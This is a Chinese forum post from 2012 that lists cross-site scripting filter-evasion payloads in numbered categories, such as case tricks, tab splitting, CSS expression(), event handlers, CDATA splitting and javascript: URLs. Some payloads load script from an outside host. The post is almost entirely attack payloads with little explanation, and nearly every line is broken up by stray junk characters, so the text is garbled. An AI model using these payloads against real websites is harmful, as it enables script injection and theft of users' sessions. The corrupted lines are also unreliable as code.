找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2557|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写& l+ i9 E) ?, ?3 |9 X/ T/ x
' J; t8 V" p$ U. h" k* \/ L( }1 \

5 F. ]1 M9 S6 H
) r7 Q& ?4 e/ Y# N1 |! V* T7 J5 S    <sCript>alert(‘d’)</scRipT>/ C/ O; o& J! Q

9 l& G* v6 S3 W8 c2. 利用多加一些其它字符来规避Regular Expression的检查
& T" l8 b+ H+ [
+ f  R4 N! E2 s9 ]5 c    <<script>alert(‘c’)//<</script>9 a: Q; q9 g" R/ I" \# R! S  k& S

' d& u* F- ]; w: `    <SCRIPT a=">" SRC="t.js"></SCRIPT>; }8 y) ]* Y# q- _( [, U

' }8 u& i. m) @% F2 k. F    <SCRIPT =">" SRC="t.js"></SCRIPT>- A& p8 L3 p7 r3 W2 o( ]& h! R
  D8 H' s' J# I- W- M
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>/ u6 c$ z8 Y1 X0 l( Y4 p3 q* Z: f: ^, W
# P7 A3 J8 h6 [  e' y
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>" V* f: ~. a% u
7 H% c: v3 b/ l' A0 X1 q% Y
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>* H6 k" k/ W/ m8 r

. p  I* f; [( J  ~: K1 c    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>6 @: T# Z* p' r1 N

0 S  L5 j1 n# O9 O9 l1 v3. 以其它扩展名取代.js1 i; J! }7 r# Y7 F
1 }  c& Y/ z0 L- E$ ^
    <script src="bad.jpg"></script>
/ S" N! R& |6 X8 |# R/ {* H9 U/ _6 L0 w7 W3 b& g/ u" I( P
4. 将Javascript写在CSS档里1 J6 H/ [0 t0 D1 W0 ]  I* }
# m/ w2 [% P7 j8 d+ }8 u2 g9 G) J6 g+ I
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">) v1 T% O% N, z8 g  @' C

- L# N4 j' ]: g$ G2 c2 \       example:
* n% W# b% R9 ?+ b  p3 S) ^
8 n; G' W4 J0 q+ b3 _, C          body {
% M! J2 m3 r' n1 @% v: d* {
; u4 y5 F/ m; C" B' @# H+ B               background-image: url(‘javascript:alert("XSS");’)
' i8 O6 u3 ]( G' K9 `. J% z  U' i. {0 b
          }
2 U5 n7 R$ N; e$ _' ^' O
" P! E& C; A5 Y' V% n0 F5. 在script的tag里加入一些其它字符! T+ C: i7 e  N# _$ a/ Y% K

) N! p4 @+ T+ K, N5 {' Q    <SCRIPT/SRC="t.js"></SCRIPT>/ P. P/ o8 j  u  X6 Q( ~
, d1 Y2 O3 t) [# V9 i- k. S
    <SCRIPT/anyword SRC="t.js"></SCRIPT>- o6 \! w$ V& J. A$ G, i

6 r% A# b2 [3 k" |6. 使用tab或是new line来规避  x( x4 Q, R5 F4 O; ?" G
1 y5 m" E! V3 j$ q: d$ y# D1 ?
    <img src="jav ascr ipt:alert(‘XSS3′)">7 U% \1 ~7 x2 E$ c& t$ L9 G

! t6 _& V5 h& _8 w7 ^0 r( n8 S& K    <img src="jav ascr ipt:alert(‘XSS3′)">
7 S5 r. b9 c; P3 b
) n* o4 N; Q+ ^. e+ g  i    <IMG SRC="jav ascript:alert(‘XSS’);">/ y( C9 U' `/ P( n$ F

% t( s6 N/ c  S3 ^' @8 a) `7 C         -> tag
/ Z& |; n8 V/ p3 ^2 Q
: Z$ z1 }) e4 C0 N; i  J& X         -> new line" E7 D# `6 q9 i" e5 B! g! C2 H
9 i. a, y- j5 ]) {% S
7. 使用"\"来规避+ Q4 j9 h7 o0 U: N/ G* g$ r
# K' L* q$ B6 l2 Z; u; l  t
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
9 r6 \! X7 M3 j/ m; c" e- M
& ^( \1 Y4 {' {2 s9 H' u    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>  L* `8 n. I- j9 E) v5 ]3 I  Z% Y! }, |/ }

% m  T2 \2 v! h7 ]& i; V  m    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">/ U) t, y5 ?9 U: D; b
- W* y: z# }0 d8 v' n
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">. ^2 |1 f- O- l4 F; K) c
' |" ^" _; k- I: B. {% o- z1 Z
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
* L3 @& t  F; E( k% l' y. p! K" Q9 }# E3 A7 d) x/ t) @9 ~
8. 使用Hex encode来规避(也可能会把";"拿掉)8 |* [* ^% D* f0 v+ A$ w9 m

/ w! Z. j7 \% H9 F# k; G! Y* C    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: n. X4 p- j# s" u4 `  w" G
3 ?$ m# h  }  l2 c+ v" E/ ]        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: K9 k, M1 ]: d& v
+ {! y. h+ T( W7 q3 Z# e    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& j' r- K4 }% O+ P" U& |5 k
, X4 Z: D8 X5 q( g( b$ T" Z        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">' V* Y1 k5 H+ |# b

7 V' `, [+ T' Z- u( V+ L) l0 @/ Z9. script in HTML tag
6 y5 S4 s' I4 A9 J( m
  X. {% H; K6 i2 i' s    <body onload=」alert(‘onload’)」>
3 K- y) z% U9 o- E) r$ x. D$ z; y& S7 d% A& B+ T
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
3 P6 E+ W" |0 P) v  b# f5 G- H$ s' c5 U
10. 在swf里含有xss的code8 `2 M1 C: u8 g" [7 P8 n- q

; n( S$ E0 |7 H! L" X$ }2 N* q# C9 h    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>- N5 ]8 C& s( b& Q$ B3 Z8 Y, F

! L( p, @- B+ A4 A6 Q4 L; D11. 利用CDATA将xss的code拆开,再组合起来。0 l( v$ Y( _9 {2 y

/ ~, v* s9 Q  \* p    <XML ID=I><X><C>
8 O: S; L$ T" z+ U( ]8 d" h
/ t$ r: v; @5 k, v$ _    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
& K2 I% q% K, G2 l* _8 A* |  z* |; ]8 Z$ D  \7 ]/ E0 t: e& c0 E
    </C></X>
5 k: R8 Q# p3 ]( j- t2 B
; j! X7 v% L, E- r0 ^5 n! j    </xml>$ b( E  t4 D4 R1 f2 E

. v! g2 S8 S1 `; x% u' m    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
, E& o4 C& ~0 H1 @6 ^
7 W& |6 b6 [0 @3 I/ Q. L    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>. l4 ]8 B& A1 d( D5 X

7 O" ]% m! {& c- M. z    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
3 g& e  _3 P$ T! k5 I* A
8 L7 U, F7 g! _; K) n12. 利用HTML+TIME。
7 R, X1 M6 e9 x9 @8 n: \* T" P" k9 y/ B/ [
    <HTML><BODY>' n) F; ?! M. k3 o7 g- N

: s% e9 U3 _5 c7 C2 y5 g6 E    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
- @' P1 L' W+ x) o6 ?3 `7 R: G: V
    <?import namespace="t" implementation="#default#time2">
: P8 ~6 y5 r' I4 |( @  x$ I" V0 x0 h* I# k# b5 B
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
! J7 r& v( ~$ M2 P0 I- T  J/ t
) a5 o) V! f3 \    </BODY></HTML>
6 q: d0 x1 l1 ?/ @7 i: d) e- F6 H3 ^/ u) e/ m  {1 q
13. 透过META写入Cookie。: E6 Z# ]& ?: |: P, V; z

" a5 s& R8 G9 x% a6 y4 g    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">6 z2 b: H& X4 t) \9 U7 w( a

! n4 w9 L1 M* h14. javascript in src , href , url
& C8 \* x8 W! G2 M
" B* C5 i7 f) O; I    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
: e2 V. Q/ u- D: K: Y# {: G& C# q# P9 @0 j
    <img src="javascript:alert(‘XSS3′)">8 x# L% T; x+ }# B

  k. M& t# p" s' Z2 {2 o<IMG DYNSRC="javascript:alert(‘XSS20′)">
8 U9 D+ N7 D+ g$ |. p
, @6 `& g7 ]1 _    <IMG LOWSRC="javascript:alert(‘XSS21′)">
9 @3 Q6 J( m6 C+ I% r. `+ l7 t$ p' \# t" K5 y
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">! I2 x* k7 r7 s6 x  A

& I* Q7 W$ \8 ?# D  c    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
: \9 S( @- }* J" f, m/ K# @+ J' }- w0 R! X
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
# i) t$ x4 e: A- W4 f! j6 i5 `2 k3 |8 a; c& P# f9 N$ x
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
, L) t5 ?$ }# c" k% o# F
1 H1 W: A: B% D* [) w8 o# {    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
! k3 C/ z" j* |) u% _- i. R- F; F, g# A) I
    </STYLE><A CLASS=XSS></A>/ `# N  S8 _7 P8 Z2 a+ j% N
6 V& D& L- @1 Z+ d/ d6 j
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>/ {' S( E/ j0 F6 U! F. ~
+ ^: x5 A' t! G7 p# \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表